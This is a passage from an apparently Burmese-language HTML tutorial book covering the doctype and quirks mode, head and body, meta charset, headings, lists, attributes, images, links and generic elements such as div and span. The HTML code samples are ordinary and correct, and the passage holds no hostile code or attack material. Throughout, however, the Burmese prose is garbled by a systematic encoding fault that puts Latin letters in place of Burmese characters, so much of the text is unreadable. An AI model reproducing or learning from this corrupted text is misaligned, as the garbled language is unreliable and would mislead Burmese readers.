dတာ့ပါzူး။  ကdန့dခတ်မှာ  တစ်မျ ို းတည်းပဲ  သံုးeကပါdတာ့တယ်။  အ့ဲဒါက  HTML  5  ပါ။  HTML  5
Document တစ်ခုgoစ်deကာင်း အမှတ်အသားအdနနဲ့ ဒီ Element က ထိပ်ဆုံးမှာမgoစ်မdနပါသင့်ပါတယ်။
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ပါမှမှန်တာလား၊  ပါမှအလုပ်လုပ်တာလားဆိုရင်၊  မဟုတ်ပါzူး။  မပါလည်း  အလုပ်dတာ့  လုပ်ပါတယ်။ ဒီ
dနရာမှာ dgပာစရာရှိတာက၊ HTML က သတ်မှတ်ထားတဲd့ရးနည်းအတိုင်း အတိအကျမdရးzဲ မှားပြပီး dရး
မိရင် zာgoစ်မလဲ ဆိတုာကို  eကားgoတ်dgပာစရာ ရိှပါတယ်။ ဥပမာ  <h1> … </h1> လ့ုိ dရးရမှာကို
<h1> … </h2> လ့ုိdရးမိတယ်ဆိုရင် zယ်လုိလုပ်မလဲ။ အoွင့်နဲ့အပိတ် မှားdနပါပြပီ။  Programming
Language dတွမှာဆိုရင် dရးထံုးမှားရင် Error တက်ပါတယ်၊ အလုပ်မလုပ်ပါzူး။ HTML မှာdတာ့ dရးထံုး
မှားလည်း Error မတက်ပါzူး၊ ဆက်အလုပ်လုပ်ပါတယ်။

ဒီdနရာမှာ အလုပ်လုပ်ပံုလုပ်နည်း  (၂)  မျ ို းရှိတယ်လ့ုိ  မှတ်နိုင်ပါတယ်။ ရိုးရိုး  Normal  Mode  နဲ့  Quirks
Mode  ပါ။  Document Type deကညာတဲ့ အမှတ်အသားပါရင်  Normal Mode နဲ့ အလုပ်လုပ်ပြပီး မပါရင်
Quirks Mode  နဲ့  အလုပ်လုပ်တယ်လို့  မှတ်နိုင်ပါတယ်။ ဒီနှစ်ခုzာကွာလဲဆိုရင် အခုလုိ လုိရင်းအတိုချုပ်
မှတ်ပါ။  Normal Mode  မှာ  HTML  စံသတ်မှတ်ချက်အတိုင်း တတိိကျကျ မှားရင် မှားတဲ့အတိုင်း ဆက်gပ
dပးပါတယ်။ Quirks Mode မှာ dရးထားတာ မှားdနရင်လည်း Browser က သူdကာင်းမယ်ထင်သလုိ gပင်
ပြပီး gပdပးပါတယ်။ gပင်ပြပီးgပတာ မdကာင်းzူးလားလုိ့  dမးရင်၊ မdကာင်းပါzူး။ မှားdနတာကို မှားမှန်းမ
သိရzဲ မှန်တယ်ထင်မိတဲ့အခါ eကာdလ gပဿနာကြကီးdလ goစ်သွားပါလိမ့်မယ်။ မှားdနတာကို  မှားdနတဲ့
အတိုင်း သိရတာက ပုိdကာင်းလ့ုိ  Document Type  deကညာတဲ့ အမှတ်အသားကို  မgoစ်မdန ထည့်သင့်
တယ်လ့ုိ dgပာတာပါ။ မပါရင်လည်း အလုပ်dတာ့ လုပ်တယ်ဆိုတာကိုလည်း သတိgပုရမှာပါ။

<html><head><body> -  ဒီသံုးခုကိုdတာ့  အတွဲလုိက် dgပာo့ုိလုိပါတယ်။  Document  တစ်ခုကို  နှစ်
ပုိင်းခွဲပြပီး eကည့်သင့်ပါတယ်။ တစ်ကယ့်အချက်အလက်dတွ ပါဝင်တဲ့  Body နဲ့ ရှင်းလင်းချက်dတွ ပါဝင်တဲ့
Header  ပါ။  <body> Element  ကို တစ်ကယ့် အချက်အလက်dတွ စုစည်းo့ုိသံုးပြပီး  <head> Element
ကိုdတာ့ ရှင်းလင်းချက်နဲ့အညွှန်းdတွ စုစည်းထည့်သွင်းoို့ သံုးပါတယ်။ ရှင်းလင်းချက်အညွှန်းဆိုတာ ဥပမာ
- zယ်oွန့်ကိုသံုးထားတယ်၊ dခါင်းစဉ်ကzာgoစ်တယ်၊ dရးသားသူက zယ်သူzယ်ဝါgoစ်တယ်၊ စသgoင့်
အချက်အလက်dတွပါ။ ဒါdတွက တစ်ကယ့်  Content  မဟုတ်ပါzူး၊  Content  အdeကာင်း ရှင်းgပထားတဲ့
ရှင်းလင်းချက်dတွပါ။  ဒီလုိ  ရှင်းလင်းချက်dတွကို  Content  နဲ့dရာမထားသင့်လ့ုိ  အခုလုိ  <head> နဲ့
<body>  နှစ်ပုိင်းခွဲထားတာပါ။  ဒီလိုနှစ်ပုိင်းခွဲထားတဲ့  Element  နှစ်ခုကို  တွဲoက်စုစည်းdပးလိုက်တဲ့
သdzာနဲ့ <html> ဆိုတဲ့ Element ထဲမှာ dရးdပးလုိက်တာ goစ်ပါတယ်။ ဒါdတွ တစ်ခုမှ မပါလည်း ရပါ
တယ်။  ဒီ  Element  dတွမပါလ့ုိ  မမှားပါzူး။  ဒါdပမယ့်  အdလ့အကျင့်dကာင်းအdနနဲ့  ထည့်dရးသင့်ပါ
တယ်။ မထည့်ထားတဲ့ Document dတွ dတွ့ရင်လည်း မမှားzူးဆိုတာကို သတိgပုo့ုိပါပဲ။
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<meta> -  ဒီ  Element  ကို  dပးထားတဲ့နမူနာမှာ  Character  Set  သတ်မှတ်o့ုိ  သံုးgပထားပါတယ်။  ဒီ
အdeကာင်းကလည်း ကျယ်gပန့်ပါတယ်။ အကျဉ်းချုပ်အdနနဲ့  UTF-8  လ့ုိdခါ်တဲ့  Encoding  နည်းပညာကို
Unicode Character dတွ သိမ်းဆည်း/doာ်gပo့ုိ သံုးရပါတယ်။ Unicode Character ဆိုတဲ့ထဲမှာ အZ[လိပ်
စာ၊ gမန်မာစာ၊ dဇာ်Zျနီဲ့dရးတဲ့စာ၊ ယူနီကုဒ်နဲ့dရးတဲ့စာ အကုန်ပါပါတယ်။ တgခား Character Set dတွ ရိှ
eကပါdသးတယ်။ ASCII လ့ုိdခါ်တဲ့ Character Set ကdတာ့ အdgခခံအကျဆုံးgoစ်ပြပီးdတာ့ အZ[လိပ်စာdတွ
သိမ်းဆည်း/doာ်gပနိုင်ပါတယ်။  မူအားgoင့်  အZ[လိပ်စာမဟုတရ်င်  မgပနိုင်zူးလ့ုိ  dgပာလ့ုိရပါတယ်။  ဒါdပ
မယ့် Win Myanmar oွန့်လုိ oွန့်dတွက ASCII ကိုသံုးထားပါတယ်။ ဒါdတွစုံdအာင် dလျှာက်dgပာရင်dတာ့
dတာ်dတာ်  dပရှည်သွားပါလိမ့်မယ်။  Latin1  ဆိုတဲ့  Character  Set  လည်း  အသံုးများပါdသးတယ်။
အZ[လိပ်စာအgပင် အတွန့်အတက်၊ အစက်အဆံdတွပါတဲ့ လက်တင်စာdတွ အတွက်ပါ အဆင်dgပပါတယ်။
ကdန့dခတ်မှာdတာ့ UTF-8 ကိုသာ စွယ်စုံသံုးအgoစ် သံုးeကပါdတာ့တယ်။ Browser အdဟာင်းတစ်ချ ို ့မှာ
Default က Latin1 goစ်dနနိုင်ပါတယ်။ ဒါdeကာင့် ဒီသတ်မှတ်ချက်မပါzဲ gမန်မာစာလုိ စာမျ ို းdတွdရးသား
ထည့်သွင်းရင် အဆင်dgပမှာ မဟုတ်ပါzူး။ dနာက်ပုိင်း  Browser  dတကွdတာ့  UTF-8 ကို  Default  ထား
လ့ုိ ကိုယ်မသတ်မှတ်dပးလဲ အဆင်dgပeကပါတယ်။ ဒါdပမယ့် dသချာdအာင် ထည့်dပးသင့်ပါတယ်။

<meta> ကို တgခား ရှင်းလင်းချက်dတွ ထည့်သွင်းoို့လည်း သုံးeကပါdသးတယ်။ Author တို့ Description
တို့ Keywords တို့လ့ုိ အdeကာင်းအရာdတွ ထည့်လုိ့ ရတာပါ။ အ့ဲဒါdတွကို အခုအdသးစိတ် မeကည့်ပါနဲ့ဦး။
dနာက်လုိအပ်လာdတာ့မှ ဆက်eကည့်သွားလ့ုိရပါတယ်။

<title> -  ဒီ  Element  ကdတာ့  Document  ကို  dခါင်းစဉ်တပ်dပးo့ုိ  သံုးပါတယ်။  Browser  မှာ
Document ကို oွင့်eကည့်လုိက်တဲ့အခါ Title Bar တို့ Tab Bar တို့မှာ ဒီနာမည်ကို dခါင်းစဉ်အdနနဲ့ လာgပ
dပးမှာပါ။ မပါမgoစ် ပါသင့်တဲ့ အချက်goစ်ပါတယ်။

<h1><h2><h3><h4><h5><h6> - Content ထဲမှာ dခါင်းစီးdတွ ထည့်သွင်းoုိ့အတွက် Element (၆)
မျ ို းရှိပါတယ်။  <h1> ကdန  <h6> အထိပါ။  dခါင်းစီးအစီအစဉ်အလုိက်  သင့်dတာ်ရာကို  သံုးdပးနိုင်ပါ
တယ်။  <h1> ကအgမင့်ဆုံး၊  အကြကီးဆုံးနဲ့  အဓိကအကျဆုံး  dခါင်းစီးပါ။  ကျန်တဲ့  dခါင်းစီးdတွကို  ကိုယ့်
Content dပါ်မှာ မူတည်ပြပီး သ့ူdနရာနဲ့သူ လုိအပ်တဲ့အဆင့်ကို dရွးချယ်အသံုးgပုနိုင်ပါတယ်။
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<p> -  စာပုိဒ်dတွထည့်သွင်းo့ုိအတွက်  Paragraph  ရဲ့  အတိုdကာက်goစ်တဲ့  <p> Element  ကို  သံုးရပါ
တယ်။ စာပုိဒ်တိုင်းကို <p> Element အမှတ်အသားနဲ့ dရးdပးoုိ့ပါပဲ။

<ul> <ol> <li> - List  dတွdoာ်gပo့ုိအတွက်  Element  နှစ်မျ ို းရှိပါတယ်။ နမူနာမှာ  <ul> ကိုသုံး
ထားပြပီး  <ol> လည်း  ရှိပါdသးတယ်။  <ul> ဆိုတာ  Unordered  List  ဆိုတဲ့သdzာgoစ်ပြပီး  <ol>
ကdတာ့ Ordered List ဆိုတဲ့သdzာပါ။ ဒါdeကာင့် dသချာအစီအစဉ် စီထားပြပီးသားစာရင်းdတွ ထည့်ချင်
ရင် <ol> နဲ့ထည့်ပြပီး ကြကိုတင်စီထားgခင်းမရှိတဲ့ စာရင်းdတွ ထည့်ချင်ရင် <ul> နဲ့ထည့်နိုင်ပါတယ်။ သူတို့
ရဲ့အထဲမှာ List Item အdနနဲ့  <li> Element ကိုသုံးပြပီး  Item dတွ တန်းစီ ထည့်dပးရgခင်းgoစ်ပါတယ်။
Browser dတွက doာ်gပတဲ့အခါ <ul> နဲ့ထည့်ထားတဲ့ List dတွကို Bullet နဲ့gပပြပီး <ol> နဲ့ ထည့်ထားတဲ့
List dတွကိdုတာ့ Number နဲ့ gပdပးdလ့ရှိပါတယ်။

List ဆိုတာမျ ို းက နှစ်ဆင့်သံုးဆင့်လည်း ရိှတတ်ပါတယ်။ ဥပမာအားgoင့် ဒီလုိပါ-

 HTML 
<ul>

<li>Web Browser</li>
<li>

HTTP Server
<ol>

<li>CGI</li>
<li>MIME</li>

</ol>
</li>

</ul>

ဒီကုဒ်အရ  <ul> အတွင်းမှာ  <li> နှစ်ခရုှိပြပီး  ဒုတိယ  <li> အတွင်းမှာ  Content နဲ့အတူ dနာက်ထပ်
List  တစ်ခုက  <ol> နဲ့  ထပ်ဆင့်ရှိdနတာပါ။  ဒီdလာက်ဆိုရင်  အသံုးများမယ့်  အdgခခံ  Element  dတွ
dတာ်dတာ် ပါသွားပါပြပီ။
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Element Structure
dနာက်ထပ် eကည့်သင့်တဲ့  Element dတွအdeကာင်း ထပ်မdgပာခင်  Element dတရွဲ့ oဲွ့စည်းပံုအdeကာင်း
အရင်dgပာပါဦးမယ်။  HTML Element  တစ်ခုမှာ  အများအားgoင့်  အခုလုိ  အပုိင်း  (၄)  ပုိင်း  ပါဝင်dလ့ရှိပါ
တယ်။

         အဖွင့် Tag                 အပိမေတ် Tag
            |                                     |
  __________|___________                        __|__
 |                      |                      |     |

<h2 class="top"> Chapter One </h2>
       |_______________|   |_________________|
               |                    |
               |                    |
           Attribute             Content

အoွင့်  Tag  နဲ့  အပိတ်  Tag  eကားထဲမှာ  Content  တည်ရှိပြပီး၊  အoွင့်  Tag  ထဲမှာ  Attribute  လ့ုိdခါ်တဲ့
သတ်မှတ်ချက်dတွ  ပါဝင်နိုင်ပါတယ်။  Content  နဲ့  အပိတ်  Tag  မပါတဲ့  Element  dတွလည်း  ရိှပါdသး
တယ်။  Void  Tag,  Empty  Tag  စသgoင့်  နှစ်မျ ို းdခါ်eကပါတယ်။  ဟိုအdပါ်မှာ  dပးခဲ့တဲ့  နမူနာထဲက
<meta> Element ဟာ Empty Element အမျ ို းအစား goစ်ပါတယ်။ သ့ူမှာ အoွင့်နဲ့  Attribute သာပါပြပီး
Content နဲ့ အပိတ် မပါပါzူး။ HTML မှာ Element dပါင်း (၁၀၀) dလာက်ရှိသလုိ၊ Attribute dတွလည်း
အများကြကီး ရိှdနပါတယ်။

Attribute  dတွကို  ပံုစံနှစ်မျ ို းနဲ့  dတွ့နိုင်ပါတယ်။ အgပည့်အစုdံရးသားgခင်းနဲ့  အတိုdကာက် dရးသားgခင်း
တို့ goစ်ပါတယ်။ အgပည့်အစုံdရးတဲ့အခါ dရှ့ က Attribute Property လာပြပီး dနာက်က Attribute Value
လာရပါတယ်။ ဒီလုိပါ -

 HTML 
<p class="alert" id="note"> … </p>
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နမူနာအရ <p> Element မှာ class နဲ့ id ဆိုတဲ့ Attribute နှစ်ခရုှိပြပီးdတာ့ Value dတွလည်း ကိုယ်စီရှိ
eကပါတယ်။  Attribute Value  dတွကို  Quote  အoွင့်အပိတ်နဲ့  dရးdပးရပါတယ်။ အများအားgoင့်  Quote
အoွင့်အပိတ် မပါရင်လည်း အလုပ်လုပ်dပမယ့်၊  Value မှာ Space ပါdနရင် Quote မပါလ့ုိမရdတာ့ပါzူး။
dရှ့  Attribute  ရဲ့  Value  နဲ့  dနာက်  Attribute  ရဲ့  Property  လဲ dရာသွားတတ်ပါdသးတယ်။ ဒါdeကာင့်
အdလ့အကျင့်dကာင်းအdနနဲ့ Attribute Value တိုင်းကို Quote ထဲမှာ ထည့်ပြပီး dရးdပးရပါတယ်။ HTML
Element  dတွနဲ့  Attribute  Property  dတွဟာ  Case  Insensitive  goစ်ပါတယ်။  အကြကီးအdသး ကြကိုက်
သလုိdရးလ့ုိရပါတယ်။  Attribute  Value  dတွမှာdတာ့  အကြကီးအdသး လဲွလို့  မရတာdတွ  ရိှပါတယ်။  ဒါ
deကာင့်  တစ်ညီတည်း goစ်သွားdအာင် မှတ်ထားdပးပါ။  HTML Element    နဲ့    Attribute    dတွအားလံုးကို  
စာလံုး အdသးdတွနဲ့ချည်းပဲ အပြမဲတမ်း dရးသင့်ပါတယ်။ Empty Element dတရွဲ့ oဲွ့စည်းပံုက ဒီလိုပါ။

 HTML 
<img src="image.jpg" alt="Background Image">
<input type="text" value="22" name="age">
<br>
<hr>

Empty Element dတွမှာ  Attribute  ရိှနိုင်သလုိ၊ မရှိရင်လည်း ရပါတယ်။ အရင်တုံးက XHTML လ့ုိdခါ်တဲ့
HTML မူကွဲတစ်မျ ို းရှိခဲ့oူးပါတယ်။ အ့ဲဒီမူကွဲမှာဆိုရင် ဒီလုိ Empty Element dတွကို Self Close လုပ်dပးရ
မယ်လို့ သတ်မှတ်ထားပါတယ်။ Self Close ဆိုတာ ဒီလုိပါ။

 HTML 
<img src="image.jpg" alt="Background Image" />
<input type="text" value="22" name="age" />
<br />
<hr />

အပိတ်မရှိzူးဆိုတာ dပါ်လွင်dအာင် တစ်ခါထဲ ပိတ်dပးလုိက်တဲ့ သdzာပါ။ အခုdတာ့ အ့ဲဒီလို တစ်ခါထဲ
ပိတ်ပြပီးdရးdပးစရာ မလုိအပ်dတာ့ပါzူး။  အကယ်၍များ  အ့ဲဒီလုိ  ပိတ်ပြပီးdရးထားတာမျ ို း  dတွ့ ရင်လည်း
သ့ူအdeကာင်းနဲ့သူ  ရှိတယ်ဆိုတာကို  သိdစoို့အတွက်  ထည့်dgပာgပတာပါ။  React  လုိ  JavaScript
Framework  မျ ို းမှာဆိုရင်  Empty  Element  dတွကို  တစ်ခါထဲ  ပိတ်dပးရမယ်ဆိုတဲ့  သတ်မှတ်ချက်မျ ို း
ရိှdနပါတယ်။
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Important Elements
ပြပီးခဲ့တဲအပုိင်းမှာ  Empty  Element  တစ်ခုgoစ်တဲ့  <img> ကို  နမူနာdပးခဲ့ပါတယ်။  ပံုdတွ  ထည့်သွင်းo့ုိ
အတွက် အသံုးgပုရတဲ့  Element  တစ်ခုgoစ်ပါတယ်။  HTML Element  dတွမှာ အများအားgoင့်  Attribute
ဆိုတာ လုိရင်သံုး၊ မလိုရင်မသုံးzဲ dနလ့ုိရတယ်ဆိုတဲ့သdzာ ရှိdပမယ့် တစ်ချ ို ့ Element dတွမှာdတာ့ မ
ပါမgoစ်ပါရမယ့် Attribute dတွရှိပါတယ်။ <img> Element မှာ src Attribute မပါအgoစ်ပါဝင်ရမှာ goစ်
ပါတယ်။  src Attribute  ကိုသုံးပြပီး  doာ်gပdစလိုတဲ့  ပံုရဲ့တည်dနရာကို  dပးရမှာမ့ုိလ့ုိပါ။  URL  လိပ်စာ
အgပည့်အစုံအdနနဲ့  dပးနိုင်သလို့၊  oုိင်  Path  လမ်းdeကာင်းအdနနဲ့လည်း  dပးနိုင်ပါတယ်။  ထူးgခားချက်
အdနနဲ့ alt Attribute လည်း ပါဝင်သင့်တယ်လ့ုိ မှတ်သားထားရပါမယ်။ alt ဟာ Alternative Text ဆို
တဲ့ အဓိပ္ပါယ်goစ်ပြပီး ပံုရဲ့ကိုယ်စား အစားထုိးသုံးလ့ုိရနိုင်မယ့် စာကိုdပးရမှာပါ။ HTML ဟာ ကွန်ပျူတာစနစ်
dတွက နားလည်နိုင်တဲ့ Content dတွoဲွ့စည်းo့ုိလုိ့ dgပာခဲ့ပါတယ်။ အကယ်၍များ ကွန်ပျူတာစနစ်က Text
Only ပဲ နားလည်တဲ့စနစ် goစ်dနလ့ုိ ပံုdတွကို doာ်gပနိုင်gခင်းမရှိzူးဆိုရင် src အစား alt ကို အစားထုိး
အသံုးgပုနိုင်o့ုိဆိုတဲ့  ရည်ရွယ်ချက်မျ ို းနဲ့ပါ။  alt မgoစ်မdနပါရမှာ  မဟုတ်dပမယ့်  အdလ့အကျင့်dကာင်း
တစ်ခုအdနနဲ့ ထည့်dပးသင့်ပါတယ်။ စမ်းeကည့်ချင်ရင် ဒီနမူနာdတွကို ကူးပြပီးစမ်းeကည့်လ့ုိရပါတယ်။

 HTML 
<img src="https://eimaung.com/img/react.png" alt="React Book Cover">
<img src="https://eimaung.com/img/laravel.png" alt="Laravel Book Cover">
<img src="https://eimaung.com/img/api.jpg" alt="API Book Cover">

dပးထားတဲ့  နမူနာရဲ့  dနာက်ဆုံးတစ်ခုမှာ  src က မှားdနပါလိမ့်မယ်။  api.jpg ဆိုတဲ့oုိင်  မရှိပါzူး။
api.png ပဲရှိပါတယ်။ အ့ဲဒီ အမှားအတိုင်း ကူးယူပြပီး Browser မှာစမ်းသပ်eကည့်ရင် ပံုက မှားdနလို့ မgပ
နိုင်တဲ့အတွက် alt မှာ dပးထားတဲ့စာကို အစားထုိး gပdပးတယ်ဆိုတာကို dတွ့ရနိုင်ပါတယ်။
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dနာက်ထပ် အdရးပါတဲ့  Element  ကdတာ့  <a> Element  goစ်ပါတယ်။  Anchor  ရဲ့အတိုdကာက်goစ်ပြပီး
Link  dတွထည့်oုိ့  သံုးပါတယ်။  HTML  ကိုတီထွင်တဲ့  အဓိကရည်ရွယ်ချက်က ဒီ  Link  dတွလ့ုိ dgပာလို့ရပါ
တယ်။  Document  dတွ  အgပန်အလှန်  ချတိ်လ့ုိရတဲ့၊  ညွှန်းလို့ရတဲ့  ဒီလုပ်dဆာင်ချက်ဟာ  dပါ့dသးdသး
မဟုတ်ပါzူး။ WorldWideWeb dခါ် အgပန်အလှန်ချတိ်ဆက်dနတဲ့ ကွန်ယက်စနစ်ကြကီးက ဒီ Link dတွကို
အdgခခံပြပီး goစ်dပါ်လာတာပါ။ dရးသားပံုdရးသားနည်းက ဒီလုိပါ။

 HTML 
<a href="https://www.google.com/" title="Search">Google</a>

သ့ူမှာ  Attribute  နှစ်ခုပါပါတယ်။  href Attribute  က မgoစ်မdနပါရမှာပါ။ ချတိ်ချင်တဲ့လိပ်စာကို  href
မှာ dပးရမှာပါ။ title Attribute ကdတာ့ <img> ရဲ့ alt လုိပါပဲ။ မပါလည်း ရdပမယ့် ပါရင်ပုိdကာင်း
ပါတယ်။  Link  က  ညွှန်းထားdပမယ့်  မသွားနိုင်တဲ့အခါ၊  မသွားချင်တဲ့အခါ၊  အ့ဲဒီအညွှန်းရဲ့  အဓိပ္ပါယ်ကို
title မှာ eကည့်လုိက်နိုင်မှာ goစ်ပါတယ်။ ဒီ title Attribute ကို မည်သည့် HTML Element မှာမဆို
သံုးလို့ရပါတယ်။ Browser dတွက Element ကို  Mouse Pointer dထာက်လုိက်ရင် title မှာdပးထား
တဲ့ တန်oုိးကို Tooltip dလးနဲ့လည်း လာgပdပးeကပါတယ်။
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ဒီ <a> Element ကိုသုံးပြပီး URL လိပ်စာ (သ့ုိမဟုတ်) Path လမ်းdeကာင်းသိတဲ့ zယ်လို Content အမျ ို း
အစားကိုမဆို ချတိ်လ့ုိ ညွှန်းလို့ရပါတယ်။ ဝz်ဆိုက်dတွ၊  HTML Document dတွမှ မဟုတ်ပါzူး။ ပံုdတွ၊
oုိင်dတွကို ညွှန်းချင်ရင်လည်း ညွှန်းလ့ုိရတာပါပဲ။ URL/Path dပးo့ုိပဲလုိပါတယ်။

Link dတွကိုdoာ်gပတဲ့အခါမှာ စာလံုးအgပာdရာင်/စာလံုးခရမ်းdရာင် အdရာင်နှစ်မျ ို းနဲ့  Browser dတွကgပ
dပးပါတယ်။  မသွားzူးdသးတဲ့  Link  အသစ်ဆိုရင်  စာလံုးအgပာdရာင်နဲ့  gပပြပီး  သွားoူးတဲ့  Link  ဆိုရင်
ခရမ်းdရာင်နဲ့  gပdပးတာပါ။  Underline  လည်း တားပြပီးdတာ့ gပdပးပါdသးတယ်။ ဒါdeကာင့် အသုံးgပုသူ
dတွက စာလံုးအgပာdရာင်/ခရမ်းdရာင်ကို  Underline  တားထားရင်  နှိပ်လ့ုိရတဲ့  Link  ပဲဆိုတာ  အလုိလုိ
သိdနeကပါပြပီ။  ဒီလုိ  အလိုလုိသိdနတဲ့အတွက်  သတိထားရမှာက  Link  မဟုတ်တဲ့  စာdတွကို  စာလံုး
အgပာ/ခရမ်းdရာင် မသံုးမိdစoို့နဲ့၊  Underline  မတားမိdစoို့ပဲgoစ်ပါတယ်။ အသံုးgပုသူက နှိပ်လ့ုိရတဲ့  Link
မှတ်ပြပီး  တစ်ကယ်တမ်း နှိပ်မရတဲ့အခါ သ့ူရဲ့သzာဝအသိနဲ့  ဆန့်ကျင်dနလ့ုိ စိတ်ညစ်သွားတတ်ပါတယ်။
သတိgပုသင့်တဲ့ အdeကာင်းအရာတစ်ခုအdနနဲ့ ထည့်သွင်းမှတ်သားo့ုိgoစ်ပါတယ်။

ထူးgခားချက်အdနနဲ့ ဒီ Link dတွကို သိပ်ရှည်တဲ့ Document dတရွဲ့ တစ်dနရာကdန dနာကတ်စ်dနရာကို
လှမ်းညွှန်းoို့လည်း  သံုးနိုင်ပါdသးတယ်။  တgခား  Document  ကိုလှမ်းညွှန်းတာ  မဟုတd်တာ့zဲ၊  ဒီ
Document  ထဲကပဲ တgခားdနရာကို  ညွှန်းတဲ့သdzာပါ။ ဒီအတွက်  id Attribute  နဲ့  တွဲသံုးနိုင်ပါတယ်။
ဥပမာ - အခုလုိ Element တစ်ခရုှိတယ်ဆိုပါစို့။
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 HTML 
<h2 id="ch2">Chapter Two</h2>

ဒီ Element ကို လှမ်းညွှန်းတဲ့ Link ကို အခုလုိdရးသားနိုင်ပါတယ်။

 HTML 
<a href="#ch2" title="Go to Chapter Two">Chapter Two</a>

href Attribute  အတွက် တန်oုိးdပးတဲ့အခါ  # သက[တနဲ့အတူ  id ကိုတွဲdပးgခင်းအားgoင့် ညွှန်းနိုင်တာ
goစ်ပါတယ်။  Document  တစ်ခုထဲမှာညွှန်းချင်ရင်  နမူနာမှာdပးထားသလုိ  #id ကိုdပးလုိက်ရင်  ရပါပြပီ။
တgခား Document ထဲက Element ကို လှမ်းညွှန်းချင်ရင်လည်း အခုလုိ ညွှန်းနိုင်ပါတယ်။

 HTML 
<a href="https://en.wikipedia.org/wiki/HTML">HTML</a>
<a href="https://en.wikipedia.org/wiki/HTML#Elements">Elements</a>

dပးထားတဲ့နမူနာနှစ်ခုမှာ  URL dတွကို Zရုgပုeကည့်ပါ။ ပထမ URL က Wikipedia ရဲ့  HTML Article  ကို
ညွှန်းတဲ့  URL  goစ်ပြပီး ဒုတိယ  URL  က အ့ဲဒီ  HTML Article  ထဲက  Elements  ဆိုတဲ့အပိုင်းကို  ညွှန်းထား
တယ်ဆိုတာကို  dတွ့နိုင်ပါတယ်။ ဒီနည်းနဲ့  <a> Element  dတွကိုသံုးပြပီး  Document  dတွ အgပန်အလှန်
ချတိ်လ့ုိ၊ ညွှန်းလ့ုိ ရသလုိ၊ Document ထဲက Element dတွကိုထိ အတိအကျညွှန်းလ့ုိရgခင်း goစ်ပါတယ်။

Generic Elements
ဆက်လက်ပြပီးdတာ့ အသံုးများပြပီး အသုံးဝင်တဲ့ Element dတွကို doာ်gပdပးပါမယ်။

<div> -  ဒီ  Element  ကို  Generic  Element  လ့ုိdခါ်ပါတယ်။  အသံုးအများဆုံး  Element  တစ်ခုပါ။
Generic Element ဆိုတာ zယ်လိုdနရာမျ ို းမှာ သုံးo့ုိအတွက်ရယ်လ့ုိ တတိိကျကျ သတ်မှတ်ထားgခင်း မရှိ
zဲ၊ လုိအပ်တဲ့ dနရာတိုင်းမှာ သံုးလ့ုိရတဲ့    Element   ကို ဆိုတာပါ။  HTML ဆိုတာ ကွန်ပျူတာစနစ်dတွက
နားလည်တဲ့  Content  Structure  တည်dဆာက်o့ုိအတွက်  Language  တစ်မျ ို းလုိ့  အထက်မှာ  dgပာခဲ့ပါ
တယ်။  လက်dတွ့မှာdတာ့  HTML    ကို    Content  Structure    တည်dဆာက်oို့အတွက်  သာမက    App  UI  
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တည်dဆာက်o့ုိ သံုးdနeကပါတယ်။ ဒီdတာ့ ထွင်ထားတဲ့ရည်ရွယ်ချက်ကတစ်မျ ို း၊ လက်dတွ့သံုးdနeကတာ
ကတစ်မျ ို းgoစ်dနတဲ့ သdzာပါပဲ။ ဒါdeကာင့်လည်း <div> Element ကို အရမ်းအသံုးများတာပါ။ App UI
အတွက် သင့်dတာ်တဲ့ Element dတွ HTML မှာ သိပ်မှမgပည့်စုံတာ။ ထွင်ထားတာ ဒီအတွက် ထွင်ထားတာ
မဟုတ်zူးdလ။  Menubar  တစ်ခုထည့်ချင်လား၊  <div> ကိုသံုး။  Menubar  အတွက်သတ်မှတ်ထားတဲ့
သီးgခား Element မရှိလ့ုိပါ။ Toolbar dလးတစ်ခုထည့်ချင်လား၊ <div> ကိုသုံး။ Toolbar ထည့်o့ုိအတွက်
သီးgခား Element မှမရှိတာ။ စသgoင့် App UI တည်dဆာက်oို့အတွက် ဆိုရင် dနရာတိုင်းမှာ <div> ကိုပဲ
သံုးeကရပါတယ်။ အသံုးလွန်ပြပီး မသံုးသင့်တဲ့ dနရာdတွမှာပါ သံုးeကတဲ့အထိပါပဲ။ ဥပမာ  -  dခါင်းစီးထည့်
ချင်ရင် <h1> <h2> စသည်goင့် သံုးသင့်dပမယ့် <div> ကိုပဲသံုးလုိက်တာတို့၊ စာပုိဒ်ထည့်ချင်ရင် <p>
ရိှရဲ့သားနဲ့  <div> လည်း သံုးလုိက်တာတို့၊  Button တစ်ခုထည့်ချင်ရင်  <button> ရှရိဲ့သားနဲ့  <div>
ကိုသံုးလုိက်တာတို့  ရှိdနeကပါတယ်။  <div>     ဟာ စွယ်စုံသံုးလ့ုိရတဲ့ အသံုးဝင်တဲ့    Element    တစ်ခုgoစ်dပ  
မယ့်   Abuse   မလုပ်မိo့ုိdတာ့ သတိထားရပါလိမ့်မယ်  ။

<span> - <span> ဟာလည်း <div> လုိပဲ Generic Element ပါပဲ။ <div> ကို တင်ချင်ရာတင်လ့ုိရ
တဲ့ စားပဲွတစ်လံုးလ့ုိ သdzာထားမယ်ဆိုရင် <span> ကိုdတာ့ ထည့်ချင်ရာထည့်လ့ုိရတဲ့ ပန်းကန်တစ်လံုး
လ့ုိ  သdzာထားနိုင်ပါတယ်။   ပန်းကန်ထဲမှာ  အသီးအနှံဆို  အသီးအနှံပဲထည့်မယ်၊  သeကားလံုးဆို
သeကားလုံးပဲ  ထည့်မယ် မဟုတ်လား။ စားပဲွdပါ်မှာdတာ့  အသီးအနှံထည့်ထားတဲ့  ပန်းကန်dတွdရာ၊ အုိး
dတွdရာ၊  ခွက်dတွdရာ အကုန်တင်မယ်  မဟုတ်လား။  အ့ဲဒီလုိကွာပါတယ်။  တစ်ကယ့်ကွာgခားပံုကို  ခုdန
နည်းပညာသdzာက dgပာရင် ရှုပ်dနမှာစိုးလို့ပါ။ dနာက်တစ်ခန်းကျdတာ့မှ ထပ်dgပာပါမယ်။

Layout Elements
HTML  Document  dတတွည်dဆာက်တဲ့အခါ  Content  ချည်းမဟုတ်zဲ  Layout  dလးdတွလည်း
ထည့်သွင်း တည်dဆာက်နိုင်ပါတယ်။ မူလ HTML မှာ Layout အတွက်ရည်ရွယ်ထားတဲ့  Element ရယ်လ့ုိ
သီးgခားမပါဝင်တဲ့အတွက်  <div> dတွကို  Layout  အတွက်  သံုးခဲ့eကရပါတယ်။  HTML5  ဆိုပြပီး  ထွက်
dပါ်လာတဲ့  dနာက်ပုိင်းမှာdတာ့  Layout  Element  dတွကို  ထည့်သွင်းdပးလာပါတယ်။  အသုံးများတဲ့
Layout Element dတွရဲ့ပံုစံက ဒီလိုပါ။



PWD 2022 – အခန်း (၁) - HTML 29

